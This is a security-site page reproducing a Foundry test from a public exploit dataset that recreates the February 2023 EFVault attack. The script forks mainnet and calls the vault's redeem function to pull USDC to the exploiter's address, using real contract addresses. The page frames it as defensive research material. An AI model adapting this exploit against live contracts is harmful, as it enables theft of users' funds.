Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/EFVault_exp.sol

Public reproduction file for dataset entry - EFVault.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/EFVault_exp.sol37 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/peckshield/status/1630490333716029440
9// https://twitter.com/drdr_zz/status/1630500170373685248
10// https://twitter.com/gbaleeeee/status/1630587522698080257
11// @TX
12// https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e81914
14interface IENF is IERC20 {
15 function redeem(uint256 shares, address receiver) external;
18contract ContractTest is Test {
19 IENF ENF = IENF(0xBDB515028A6fA6CD1634B5A9651184494aBfD336);
20 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
21 address exploiter = 0x8B5A8333eC272c9Bca1E43F4d009E9B2FAd5EFc9;
23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25 function setUp() public {
26 cheats.createSelectFork("mainnet", 16_696_239);
27 }
29 function testExploit() external {
30 deal(address(ENF), address(this), 1e18);
31 cheats.startPrank(address(this), address(this));
32 ENF.redeem(676_562, exploiter);
33 cheats.stopPrank();
35 emit log_named_decimal_uint("Exploiter USDC balance after exploit", USDC.balanceOf(exploiter), USDC.decimals());
36 }

Analysis

Dataset entry

Public Foundry test for “- EFVault” (2023-02-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
EFVault
Path
src/test/2023-02/EFVault_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f2da5f6f16e4df135648357efd1679801bbd3d7c
Language
Solidity
Size
38 lines
Date
2023-02-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/EFVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f2da5f6f16e4df135648357efd1679801bbd3d7c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.